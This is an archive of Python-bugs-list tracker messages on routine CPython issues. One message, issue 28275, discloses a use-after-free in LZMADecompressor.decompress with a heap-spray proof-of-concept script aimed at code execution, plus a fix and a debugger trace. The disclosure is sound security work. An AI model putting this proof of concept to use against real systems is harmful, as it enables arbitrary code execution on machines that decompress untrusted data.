title: Formatting of True/False in docs -> Formatting of True/False/None in docs
versions: +Python 3.5, Python 3.6, Python 3.7 -Python 3.3, Python 3.4
Added file: http://bugs.python.org/file44821/doc_none2.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27611] test_tix cannot import _default_root after test_idle

2016-09-25 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27665] Make create_server able to listen on several ports

2016-09-25 Thread Alexander Bayandin

Alexander Bayandin added the comment:

Yury, in 3.6 is added support for multiple hosts for create_server but not for 
multiple ports which I suggest to add.

--
resolution: out of date -> 
status: closed -> open
versions:  -Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue17206] Py_XDECREF() expands its argument multiple times

2016-09-25 Thread SilentGhost

Changes by SilentGhost :


--
resolution:  -> fixed
status: open -> closed
type:  -> behavior

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28260] mock._Any and mock._Call implement __eq__ but not __hash__

2016-09-25 Thread Roy Williams

Roy Williams added the comment:

Hey Antti

My understanding is the version available on PyPi is now a strict backport
of what's in Python 3, so they suggested filling the bug in bugs.python.org
so it can be backported.

http://lists.idyll.org/pipermail/testing-in-python/2016-September/006864.html

Thanks,
Roy

On Sep 25, 2016 4:24 AM, "Antti Haapala"  wrote:

>
> Antti Haapala added the comment:
>
> So you mean that unittest.mock should explicitly set `__hash__ = None`;
> but this is already what the unittest.mock does, in Python 3; there is no
> need to set `__hash__ = None`; it is the backport that needs to do this in
> order to stay compatible. There is no mock.py in 2.7.
>
> --
> nosy: +ztane
>
> ___
> Python tracker 
> 
> ___
>

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28273] Make os.waitpid() option parameter optional.

2016-09-25 Thread Marcos Dione

New submission from Marcos Dione:

According to the documentation, the second parameter for os.waitpid(), called 
options, must be most of the time 0. So why not make it the default value?

The attached patch implements the proposed change, which is API compatible with 
current usages of the function.

--
files: os_waitpid-optional_options.diff
keywords: patch
messages: 277383
nosy: StyXman
priority: normal
severity: normal
status: open
title: Make os.waitpid() option parameter optional.
Added file: http://bugs.python.org/file44822/os_waitpid-optional_options.diff

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28273] Make os.waitpid() option parameter optional.

2016-09-25 Thread Marcos Dione

Changes by Marcos Dione :


--
components: +Library (Lib)
type:  -> enhancement
versions: +Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27141] Fix collections.UserList shallow copy

2016-09-25 Thread Raymond Hettinger

Raymond Hettinger added the comment:

Yes.  I will look at this shortly.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23407] os.walk always follows Windows junctions

2016-09-25 Thread Craig Holmquist

Craig Holmquist added the comment:

The attached patch changes _Py_attribute_data_to_stat to set S_IFLNK for both 
symlinks and junctions, and changes win_readlink to return the target path for 
junctions (IO_REPARSE_TAG_MOUNT_POINT) as well as symlinks.

I'm not sure what to do as far as adding a test--either Python needs a way to 
create junctions or the test needs to rely on the ones Windows creates by 
default.

Incidentally, the existing win_readlink doesn't always work correctly with 
symbolic links, either (this is from 3.5.2):  

>>> import os
>>> os.readlink(r'C:\Users\All Users')
'\x00\x00f\x00\u0201\x00\x02\x00\x00\x00f\x00\x00\x00'

The problem is that PrintNameOffset is an offset in bytes, so it needs to be 
divided by sizeof(WCHAR) if you're going to add it to a WCHAR pointer 
(https://msdn.microsoft.com/en-us/library/windows/hardware/ff552012(v=vs.85).aspx).
  Some links still seem to work correctly because PrintNameOffset is 0.  The 
attached patch fixes this problem also--I wasn't sure if I should open a 
separate issue for it.

--
keywords: +patch
Added file: http://bugs.python.org/file44823/issue23407.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11957] re.sub confusion between count and flags args

2016-09-25 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 216e8b809e4e by Serhiy Storchaka in branch '3.5':
Issue #11957: Restored re tests for passing count and maxsplit as positional
https://hg.python.org/cpython/rev/216e8b809e4e

New changeset b39b09290718 by Serhiy Storchaka in branch '3.6':
Issue #11957: Restored re tests for passing count and maxsplit as positional
https://hg.python.org/cpython/rev/b39b09290718

New changeset da2c96cf2ce6 by Serhiy Storchaka in branch 'default':
Issue #11957: Restored re tests for passing count and maxsplit as positional
https://hg.python.org/cpython/rev/da2c96cf2ce6

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28260] mock._Any and mock._Call implement __eq__ but not __hash__

2016-09-25 Thread Antti Haapala

Antti Haapala added the comment:

Well, as far as I understand, this is a bug in the backport only. The Python 
2.6+ backport does not behave identically to Python 3 code in Python 2, unless 
`__hash__ = None` is added. unittest.mock in Python 3 is not affected in any 
way.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28260] mock._Any and mock._Call implement __eq__ but not __hash__

2016-09-25 Thread Ned Batchelder

Ned Batchelder added the comment:

Roy, the code on GitHub isn't a literal copy of the Python 3 code, since it 
uses six, "from __future__ import", conditional imports of builtins, and so on.

This can be fixed in GitHub.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23407] os.walk always follows Windows junctions

2016-09-25 Thread Craig Holmquist

Craig Holmquist added the comment:

Actually, it looks like there is already a way to create junctions and a test 
for them in test_os.  However, it includes this line:

# Junctions are not recognized as links.
self.assertFalse(os.path.islink(self.junction))

That suggests the old behavior is intentional--does anyone know why?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28225] bz2 does not support pathlib

2016-09-25 Thread Brett Cannon

Brett Cannon added the comment:

Docs might need updating, but otherwise LGTM.

--
assignee:  -> ethan.furman

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28231] zipfile does not support pathlib

2016-09-25 Thread Brett Cannon

Brett Cannon added the comment:

the patch LGTM, but Serhiy has a point that maybe we should add tests for 
dealing with other paths such as those contained within the zipfile.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23407] os.walk always follows Windows junctions

2016-09-25 Thread Craig Holmquist

Craig Holmquist added the comment:

Updated patch with changes to Win32JunctionTests.

--
Added file: http://bugs.python.org/file44824/issue23407-2.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28226] compileall does not support pathlib

2016-09-25 Thread Brett Cannon

New submission from Brett Cannon:

Is there a fix for compileall missing from the patch? All I see are a new test.

--
assignee:  -> ethan.furman

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28274] asyncio does not call exception handler if task stored

2016-09-25 Thread Billy Foster

New submission from Billy Foster:

I found a very strange bug in asyncio where whether exception handlers are 
called depends on whether a task is stored.

To illustrate, the following code works as expected, printing out that it made 
it to the exception handler:

import asyncio
async def run():
raise RuntimeError
def exception_handler(loop, context):
print('Made it to exception handler.')
loop = asyncio.get_event_loop()
loop.set_exception_handler(exception_handler)
loop.create_task(run())
loop.run_forever()

However, if you take that exact same code but store the task that is returned 
from create_task, the exception handler will NOT be called:

import asyncio
async def run():
raise RuntimeError
def exception_handler(loop, context):
print('Made it to exception handler.')
loop = asyncio.get_event_loop()
loop.set_exception_handler(exception_handler)
task = loop.create_task(run())
loop.run_forever()

This is completely bizarre, and I have been unable to track down the reason.

--
components: asyncio
messages: 277394
nosy: billyfoster, gvanrossum, yselivanov
priority: normal
severity: normal
status: open
title: asyncio does not call exception handler if task stored
versions: Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28260] mock._Any and mock._Call implement __eq__ but not __hash__

2016-09-25 Thread Roy Williams

Roy Williams added the comment:

OK, let's close this issue and I'll ping the TIP thread/this issue again.

On Sun, Sep 25, 2016, 11:16 AM Ned Batchelder 
wrote:

>
> Ned Batchelder added the comment:
>
> Roy, the code on GitHub isn't a literal copy of the Python 3 code, since
> it uses six, "from __future__ import", conditional imports of builtins, and
> so on.
>
> This can be fixed in GitHub.
>
> --
>
> ___
> Python tracker 
> 
> ___
>

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28274] asyncio does not call exception handler if task stored

2016-09-25 Thread R. David Murray

R. David Murray added the comment:

In the first case, once the loop has run the task it no longer has a reference 
to it, and it gets GCed.  The __del__ method of the task calls your exception 
handler.  In the second case, you have a reference to it, so __del__ does not 
get called.

If you want the exception to be realized in the second case, you have to yield 
from it somewhere in your program.

--
nosy: +r.david.murray
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27998] Remove support of bytes paths in os.scandir()

2016-09-25 Thread Guido van Rossum

Guido van Rossum added the comment:

Nice!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11957] re.sub confusion between count and flags args

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Here are two alternative patches. The first patch checks if count or maxsplit 
arguments are re.RegexFlag and raise TypeError if it is true. This makes 
misusing flags fail fast. The second patch deprecates passing count and 
maxsplit arguments as positional arguments. This imposes your to change your 
code (even if it is valid now) and makes hard misusing flags.

Unfortunately both ways slow down calling functions.

$ ./python -m perf timeit -s "import re" -- 're.split(":", ":a:b::c", 2)'

unpatched:   Median +- std dev: 2.73 us +- 0.09 us
check_flags_type:Median +- std dev: 3.74 us +- 0.09 us
deprecate_positional_count:  Median +- std dev: 10.6 us +- 0.2 us

$ ./python -m perf timeit -s "import re" -- 're.split(":", ":a:b::c", 
maxsplit=2)'

unpatched:   Median +- std dev: 2.78 us +- 0.07 us
check_flags_type:Median +- std dev: 3.75 us +- 0.10 us
deprecate_positional_count:  Median +- std dev: 2.86 us +- 0.08 us

--
stage:  -> patch review
versions: +Python 3.6, Python 3.7 -Python 3.5
Added file: http://bugs.python.org/file44825/re_check_flags_type.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11957] re.sub confusion between count and flags args

2016-09-25 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


Added file: http://bugs.python.org/file44826/re_deprecate_positional_count.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue27141] Fix collections.UserList shallow copy

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

UserList.copy() doesn't copy instance attributes, but copy.copy() should copy 
them.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28260] mock._Any and mock._Call implement __eq__ but not __hash__

2016-09-25 Thread Berker Peksag

Changes by Berker Peksag :


--
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28207] SQLite headers are not searched in custom locations

2016-09-25 Thread Santiago Castro

Santiago Castro added the comment:

Okay, I checked out again and bz2 and openssl were in standard paths in fact, 
my bad. But I think python should also take into account pkg-config. I left a 
Dockerfile with how I think it should work with pyenv and Linuxbrew: 
https://github.com/bryant1410/docker-pyenv-linuxbrew

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2016-09-25 Thread Zachary Ware

Zachary Ware added the comment:

I agree with Eryk that this is not a winreg bug.  If I'm understanding this 
correctly, you would need to pass unsanitized remote input into a function 
that's going to affect your registry.  That strikes me as an incredibly 
ridiculous thing to do; anyone doing so is begging to be exploited regardless 
of this issue.

I'd vote to close as 'wont fix', but will defer to Steve.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread John Leitch

New submission from John Leitch:

Python 3.5.2 suffers from a use after free vulnerability caused by the behavior 
of the LZMADecompressor.decompress method. The problem exists due to a dangling 
pointer created by an incomplete error path in the _lzma!decompress function.

static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
char input_buffer_in_use;
PyObject *result;
lzma_stream *lzs = &d->lzs;

/* Prepend unconsumed input if necessary */
if (lzs->next_in != NULL) {
[...]
}
else {
lzs->next_in = data;
lzs->avail_in = len;
input_buffer_in_use = 0;
}

result = decompress_buf(d, max_length);
if(result == NULL)
return NULL;
[...]
}

When the function is first called, lzs->next_in is NULL, so it is set using the 
data argument. If the subsequent call to decompress_buf fails because the 
stream is malformed, the function returns while maintaining the current value 
for lzs->next_in.

A couple returns later, the allocation pointed to by lzs->next_in (data) is 
freed:

static PyObject *
_lzma_LZMADecompressor_decompress(Decompressor *self, PyObject *args, PyObject 
*kwargs)
{
PyObject *return_value = NULL;
static char *_keywords[] = {"data", "max_length", NULL};
Py_buffer data = {NULL, NULL};
Py_ssize_t max_length = -1;

if (!PyArg_ParseTupleAndKeywords(args, kwargs, "y*|n:decompress", _keywords,
&data, &max_length))
goto exit;
return_value = _lzma_LZMADecompressor_decompress_impl(self, &data, 
max_length);

exit:
/* Cleanup for data */
if (data.obj)
   PyBuffer_Release(&data);

return return_value;
}


At this point, any calls to decompress made to the same Decompressor instance 
(a typical use case--multiple calls may be necessary to decompress a single 
stream) will result in a memcpy to the dangling lzs->next_in pointer, and thus 
memory corruption.

static PyObject *
decompress(Decompressor *d, uint8_t *data, size_t len, Py_ssize_t max_length)
{
char input_buffer_in_use;
PyObject *result;
lzma_stream *lzs = &d->lzs;

/* Prepend unconsumed input if necessary */
if (lzs->next_in != NULL) {
size_t avail_now, avail_total;
[...]
memcpy((void*)(lzs->next_in + lzs->avail_in), data, len);
lzs->avail_in += len;
input_buffer_in_use = 1;
}
else {
[...]
}
}

This vulnerability can be exploited to achieve arbitrary code execution. In 
applications where untrusted LZMA streams are received over a network, it might 
be possible to exploit this vulnerability remotely. A simple proof of concept 
that demonstrates a return-to-libc attack is attached.

import _lzma
from array import *

# System address when tested: 76064070
d = _lzma.LZMADecompressor()
spray = [];
for x in range(0, 0x700):
meg = bytearray(b'\x76\x70\x40\x06' * int(0x10 / 4));
spray.append(meg)

def foo():
for x in range(0, 2):
try:

d.decompress(b"\x20\x26\x20\x63\x61\x6c\x63\x00\x41\x41\x41\x41\x41\x41\x41\x41"
 * int(0x100 / (4*4)))
except:
pass
foo()
print(len(spray[0]))
print(len(spray))


To fix the issue, it is recommended that lzs->next_in be zeroed in the event 
the call to decompress_buf fails. A proposed patch is attached.

result = decompress_buf(d, max_length);
if(result == NULL) {
lzs->next_in = 0;
return NULL;
}


A repro file is attached as well.

Exception details:

0:000> r
eax=000a ebx=009ef540 ecx=0002 edx=41414141 esi=08b44970 edi=09275fe8
eip=6bf55149 esp=009ef3e0 ebp=009ef434 iopl=0 nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010203
VCRUNTIME140D!TrailingDownVec+0x1f9:
6bf55149 8917mov dword ptr [edi],edx  ds:002b:09275fe8=
0:000> k
ChildEBP RetAddr  
009ef3e4 5d573f80 VCRUNTIME140D!TrailingDownVec+0x1f9 
[f:\dd\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 658]
009ef434 5d573383 _lzma_d!decompress+0x130 
[c:\source2\python-3.5.2\modules\_lzmamodule.c @ 997]
009ef454 5d572049 _lzma_d!_lzma_LZMADecompressor_decompress_impl+0x93 
[c:\source2\python-3.5.2\modules\_lzmamodule.c @ 1097]
009ef49c 55e6dd40 _lzma_d!_lzma_LZMADecompressor_decompress+0x79 
[c:\source2\python-3.5.2\modules\clinic\_lzmamodule.c.h @ 99]
009ef4d4 55f65199 python35_d!PyCFunction_Call+0x80 
[c:\source2\python-3.5.2\objects\methodobject.c @ 98]
009ef4fc 55f6008d python35_d!call_function+0x3e9 
[c:\source2\python-3.5.2\python\ceval.c @ 4705]
009ef58c 55f6478d python35_d!PyEval_EvalFrameEx+0x509d 
[c:\source2\python-3.5.2\python\ceval.c @ 3238]
009ef5cc 55f5afbd python35_d!_PyEval_EvalCodeWithName+0x73d 
[c:\source2\python-3.5.2\python\ceval.c @ 4018]
009ef608 55f5af81 python35_d!PyEval_EvalCodeEx+0x2d 
[c:\source2\python-3.5.2\python\ceval.c @ 4039]
009ef63c 55fe67de python35_d!PyEval_EvalCode+0x21 
[c:\source2\python-3.5.

[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread John Leitch

Changes by John Leitch :


Added file: http://bugs.python.org/file44828/Py35_LZMADecompressor.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread Alex Gaynor

Changes by Alex Gaynor :


--
keywords: +security_issue

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread Alex Gaynor

Changes by Alex Gaynor :


--
nosy: +nadeem.vawda

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28207] Use pkg-config to find dependencies

2016-09-25 Thread Zachary Ware

Zachary Ware added the comment:

I don't have any philosophical opposition to using pkg-config, but it would be 
nice to avoid making configure/Makefile/setup.py any more complex than they 
already are.  If you can somehow simplify those files (without breaking 
anything) by using pkg-config, I'd be all for it :)

Resetting the version to 3.7, this feels like a pretty big change.  If it turns 
out well, we can consider backporting it later.

--
components: +Build
stage:  -> needs patch
title: SQLite headers are not searched in custom locations -> Use pkg-config to 
find dependencies
versions: +Python 3.7 -Python 2.7, Python 3.3, Python 3.4, Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28275] LZMADecompressor.decompress Use After Free

2016-09-25 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Thanks John. Could you please add a test based on your reproducer?

--
nosy: +serhiy.storchaka
stage:  -> test needed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28207] Use pkg-config to find dependencies

2016-09-25 Thread Chi Hsuan Yen

Chi Hsuan Yen added the comment:

Thanks. I'll give it a try.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28207] Use pkg-config to find dependencies

2016-09-25 Thread Chi Hsuan Yen

Changes by Chi Hsuan Yen :


--
type: behavior -> enhancement

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue25300] Enable Intel MPX (Memory protection Extensions) feature

2016-09-25 Thread Florin Papa

Florin Papa added the comment:

Hi Christian,

There is a Skylake buildbot that has MPX capabilities. Please find it here:

http://buildbot.python.org/all/builders/x86-64%20Ubuntu%2015.10%20Skylake%20CPU%203.6

Regards,
Florin

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com